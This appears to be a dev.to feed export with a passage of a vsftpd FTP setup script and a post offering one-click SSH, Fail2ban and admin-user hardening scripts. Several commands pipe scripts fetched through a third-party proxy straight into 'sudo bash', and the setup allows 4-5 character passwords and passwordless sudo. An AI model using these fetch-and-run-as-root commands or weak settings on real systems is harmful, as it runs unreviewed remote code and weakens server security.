&lt;/span&gt;&lt;span class="c"&gt;# chroot_local_user=YES    # Restrict all users to their home directory&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# chroot_list_enable=YES   # Enable a list of exception users&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# chroot_list_file=/etc/vsftpd/chroot_list  # Specify the user list file; users in this list are not restricted to their home directory&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;#&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;#*********************************************************************&lt;/span&gt;&lt;span class="w"&gt;


&lt;/span&gt;&lt;span class="c"&gt;#----------- Configure Basic User Policies: Disable Anonymous Access, Restrict Access to Specified Directory, IPv4 -----------&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Replace line 12 globally with `anonymous_enable=NO`&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;sed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'12canonymous_enable=NO'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/etc/vsftpd/vsftpd.conf&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;## Uncomment lines 100, 101, and 103 to configure chroot as above.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;sed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'100,101s/^#//'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/etc/vsftpd/vsftpd.conf&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;sed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'103s/^#//'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/etc/vsftpd/vsftpd.conf&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Replace `Listen=NO` with `Listen=YES`&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;sed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'s/listen=NO/listen=YES/'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/etc/vsftpd/vsftpd.conf&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Comment out line 123 to disable IPv6 sockets&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;sed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'123s/^/# /'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/etc/vsftpd/vsftpd.conf&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Uncomment line 52 to enable logging&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;sed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'52s/^#//'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/etc/vsftpd/vsftpd.conf&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Enable passive mode: `pasv_enable=YES`&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Set the minimum and maximum ports for passive connections&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Configuring the minimum and maximum ports to the same value opens a fixed port&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# `allow_writeable_chroot=YES` allows writing within the restricted directory&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"
local_root=/var/ftp/share
allow_writeable_chroot=YES
pasv_enable=YES
pasv_address=&lt;/span&gt;&lt;span class="nv"&gt;$linux_public_ip&lt;/span&gt;&lt;span class="s2"&gt;
pasv_min_port=21000
pasv_max_port=21000
"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/etc/vsftpd/vsftpd.conf&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Create a file; otherwise, users cannot log in even if they exist. No additional permissions are needed; ftpuser does not access this file.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# It is speculated that the program logic relies on this "small file" for policy decisions. If the feature is enabled but the file is missing, it causes issues.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;touch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/etc/vsftpd/chroot_list&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;## `chroot_list_file=/etc/vsftpd/chroot_list` enables the restricted user list file configuration.&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Comment out line 4: `auth required pam_shells.so` module authentication.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;sudo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'4s/^/#/'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/etc/pam.d/vsftpd&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;#------ `pam_access.so` is a module that calls the configuration file `/etc/security/access.conf` ------&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# `/etc/pam.d/vsftpd` (module configuration file)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;## Backup `/etc/pam.d/vsftpd`&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;cp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-rp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/etc/pam.d/vsftpd&lt;/span&gt;&lt;span class="p"&gt;{,&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bak&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Insert the module before line 7&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;sudo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'7i\account    required     pam_access.so'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/etc/pam.d/vsftpd&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# `access.conf`&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;## Backup the `access.conf` file&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;cp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-rp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/etc/security/access.conf&lt;/span&gt;&lt;span class="p"&gt;{,&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bak&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;## Define the last rule as "deny all," meaning only explicitly allowed exceptions are permitted&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;-e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"
+:ftpusers:&lt;/span&gt;&lt;span class="nv"&gt;$get_my_ip&lt;/span&gt;&lt;span class="s2"&gt;
-:ALL:ALL

"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/etc/security/access.conf&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;#---------------------------------------------------&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Start the FTP service.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;sudo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;systemctl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;restart&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;vsftpd&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"*** Debugging Code ***"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'scp /Users/user1/Desktop/1.sh root@101.xxx.xxx.xxx:${HOMEPATH}'&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"rm -rf ~/.ssh/known_hosts &amp;amp;&amp;amp; rm -rf ~/.ssh/known_hosts.old"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"View all user information: cat /etc/passwd"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Create a new user and add to the FTP sharing group: useradd -G ftpusers &amp;lt;username&amp;gt;"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Add an existing user to the FTP sharing group: usermod -a -G ftpusers &amp;lt;username&amp;gt;"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"***************** \n"&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"\n **************** FTP Overview and Basic Information ******************** \n"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"FTP dedicated user created: &lt;/span&gt;&lt;span class="nv"&gt;$user_name&lt;/span&gt;&lt;span class="s2"&gt;; Password: &lt;/span&gt;&lt;span class="nv"&gt;$pass_word&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"FTP shared directory location: cat /var/ftp/share"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Important ‼️: Ensure port 21000 is open in your cloud security group or cloud server firewall."&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"\nFTP setup is complete. Below is a brief overview of FTP configurations:"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"View FTP access history: /var/log/xferlog"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Core configuration file: vi /etc/vsftpd/vsftpd.conf"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"FTP user and IP access control file: vi /etc/security/access.conf\n"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Windows users can access via File Explorer for uploads and downloads."&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Mac users are recommended to use Cyberduck, FileZilla, or ForkLift, as Finder's FTP support is limited.\n"&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Delete itself&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;rm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-rf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# This explanation might be distracting for beginners&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# echo -e "User access restriction configuration file: /etc/vsftpd/chroot_list"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# echo -e "To allow unrestricted access, add the username to this file, one username per line.\n"&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;#**************** Interlude ***********************************&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;## Check user groups: `groups ftpuser`. Create a group: `groupadd ftpusers`.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;## Create a new user and add to a specified group as the primary group (each user has only one primary group).&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;## Create a new user and associate with a group:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;## `useradd -g &amp;lt;groupname&amp;gt; &amp;lt;username&amp;gt;`&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;## Or, create a new user and add to a supplementary group (a user can belong to multiple supplementary groups):&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;## `useradd -G &amp;lt;groupname&amp;gt; &amp;lt;username&amp;gt;`&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;## For existing users:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;## `-a` stands for append, used with `-G` to add the user to a new group without leaving existing groups.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;## `usermod -a -G &amp;lt;groupname&amp;gt; &amp;lt;username&amp;gt;`&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;## Google Cloud enables SELinux by default. Domestic servers typically disable internal firewalls.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;## If you enable a firewall on your server, you need to configure policies on both ends.&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# By default, it should not protect already open ports. Whether a port is open depends on the service or application running.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# These services or applications open ports that were previously closed. The firewall only protects these ports when enabled.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# For example, port 80 is only opened when a web application like IIS is running. The firewall may protect port 80,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# preventing external users from accessing it. When the firewall is disabled, the protection is removed, and access is allowed.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Therefore, the firewall is not the root cause of opening port 80.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>linux</category>
      <category>cloud</category>
      <category>ftp</category>
      <category>server</category>
    </item>
    <item>
      <title>One-Click Setup for SSH Login, Password Policy, IP Ban Configuration, and Custom Admin User Creation</title>
      <dc:creator>Excalibra</dc:creator>
      <pubDate>Thu, 06 Feb 2025 20:57:01 +0000</pubDate>
      <link>https://dev.to/excalibra/one-click-setup-for-ssh-login-password-policy-ip-ban-configuration-and-custom-admin-user-creation-4bd0</link>
      <guid>https://dev.to/excalibra/one-click-setup-for-ssh-login-password-policy-ip-ban-configuration-and-custom-admin-user-creation-4bd0</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Brute-force attacks are more cost-effective for hackers than methods like DDoS, man-in-the-middle attacks, or privilege escalation through software vulnerabilities. Root users with predictable weak passwords are primary targets. Additionally, some cloud hosts running without security measures are often exploited for cryptojacking. Since I have already analyzed cryptojacking scripts in the malware analysis section, I decided to write a one-click script to counter brute-force attacks on SSH port scans. The countermeasures include:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Passwords with any character combination and SSH key-based authentication
&lt;/li&gt;
&lt;li&gt;Fail2ban for IP banning
&lt;/li&gt;
&lt;li&gt;Creating a custom admin user and locking root remote login
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Setting up SSH login, user password policies, Fail2ban IP banning, and creating an admin user on a new cloud host can be tedious and prone to errors. To simplify the process, I wrote this one-click script for CentOS 8 cloud servers.  &lt;/p&gt;

&lt;p&gt;After troubleshooting configuration errors, researching solutions, and debugging the script, I’m finally done. Since this guide is quite long, the source code is provided at the end.  &lt;/p&gt;

&lt;h2&gt;
  
  
  One-Click Setup for SSH Login, Password Policy, and IP Ban Configuration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Features:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;SSH Login:&lt;/strong&gt; Passwordless key authentication, persistent connection to prevent client disconnection
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Password Policy:&lt;/strong&gt; No restriction on special characters or case sensitivity, with a minimum length of 4-5 characters
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IP Ban:&lt;/strong&gt; Any IP (except your own) that enters an incorrect password three times within 30 seconds is permanently banned
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Copy and paste the following command to execute the script.  &lt;/p&gt;

&lt;p&gt;GitHub source code: &lt;a href="https://github.com/Excalibra/scripts/blob/main/d-shell/lite_ssh_n_ban.sh" rel="noopener noreferrer"&gt;lite_ssh_n_ban.sh&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo bash -c  "$(curl -fL https://ghfast.top/https://raw.githubusercontent.com/Excalibra/scripts/refs/heads/main/d-shell/lite_ssh_n_ban.sh)"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Configuration Screenshot
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa8cbejb8r742wl3otw8k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa8cbejb8r742wl3otw8k.png" alt=" " width="800" height="415"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  One-Click Custom Admin User Creation for Linux
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Features:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Custom username
&lt;/li&gt;
&lt;li&gt;Passwordless authentication for &lt;code&gt;su&lt;/code&gt;, &lt;code&gt;sudo&lt;/code&gt;, and &lt;code&gt;wheel&lt;/code&gt; group members
&lt;/li&gt;
&lt;li&gt;Disables root remote login in &lt;code&gt;sshd_config&lt;/code&gt; for enhanced security
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Copy and paste the following command to execute the script.  &lt;/p&gt;

&lt;p&gt;GitHub source code: &lt;a href="https://github.com/Excalibra/scripts/blob/main/d-shell/diy_add_wheel.sh" rel="noopener noreferrer"&gt;diy_add_wheel.sh&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo bash -c "$(curl -fL https://ghfast.top/https://raw.githubusercontent.com/Excalibra/scripts/refs/heads/main/d-shell/diy_add_wheel.sh)"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Individual SSH and Fail2ban Configuration
&lt;/h2&gt;

&lt;p&gt;One-click SSH configuration for SSH key authentication and simple password policy setup. (Restricts access to your IP only using &lt;code&gt;AllowUsers&lt;/code&gt;.)  &lt;/p&gt;

&lt;p&gt;GitHub source code: &lt;a href="https://github.com/Excalibra/scripts/blob/main/d-shell/simple_ssh.sh" rel="noopener noreferrer"&gt;simple_ssh.sh&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo bash -c "$(curl -fL https://ghfast.top/https://raw.githubusercontent.com/Excalibra/scripts/main/d-shell/simple_ssh.sh)"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One-click Fail2ban installation, configuration, and service startup. (Allows updating public IP restrictions dynamically.)  &lt;/p&gt;

&lt;p&gt;GitHub source code: &lt;a href="https://github.com/Excalibra/scripts/blob/main/d-shell/simple_ban.sh" rel="noopener noreferrer"&gt;simple_ban.sh&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo bash -c "$(curl -fL https://ghfast.top/https://raw.githubusercontent.com/Excalibra/scripts/main/d-shell/simple_ban.sh)"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Findings from Research
&lt;/h2&gt;

&lt;p&gt;I found various useful tools for system self-checks, IP banning, antivirus, firewalls, and DDoS protection:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;LinuxCheck:&lt;/strong&gt; Self-check script (&lt;a href="https://github.com/al0ne/LinuxCheck" rel="noopener noreferrer"&gt;al0ne/LinuxCheck&lt;/a&gt;)
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Graphical Firewall for Linux:&lt;/strong&gt; &lt;a href="https://github.com/soonxf/Firewalld-UI" rel="noopener noreferrer"&gt;soonxf/Firewalld-UI&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IP Ban:&lt;/strong&gt; &lt;a href="https://www.fail2ban.org" rel="noopener noreferrer"&gt;Fail2ban&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DDoS Protection for Linux:&lt;/strong&gt; &lt;a href="https://github.com/anti-ddos/Anti-DDOS" rel="noopener noreferrer"&gt;anti-ddos/Anti-DDOS&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Antivirus for Linux:&lt;/strong&gt; &lt;a href="https://www.shellpub.com/?download=1" rel="noopener noreferrer"&gt;Shellpub&lt;/a&gt;, &lt;a href="https://github.com/Cisco-Talos/clamav" rel="noopener noreferrer"&gt;ClamAV&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Raw source code parts:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;lite_ssh_n_ban.sh&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"Note: Execute this script using the 'sudo bash' command."&lt;/span&gt;

&lt;span class="c"&gt;# Backup SSH server and client configuration files to the ssh.bak directory&lt;/span&gt;
&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /etc/bak/ssh &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cp&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /etc/ssh/&lt;span class="o"&gt;{&lt;/span&gt;ssh_config,sshd_config&lt;span class="o"&gt;}&lt;/span&gt; /etc/bak/ssh

&lt;span class="c"&gt;# Optimized method to filter connections with port 22&lt;/span&gt;
&lt;span class="c"&gt;# This method of obtaining the IP has a risk of being mixed up due to SSH queue-jumping, so it's commented out&lt;/span&gt;
&lt;span class="c"&gt;# get_my_ip=$(netstat -n|grep -i :22|awk '{print $5}'|cut -d":" -f1|sed -n '1p')&lt;/span&gt;
&lt;span class="c"&gt;# get_my_ip_port=$(netstat -n|grep -i :22|awk '{print $5}'|sed -n '1p')&lt;/span&gt;
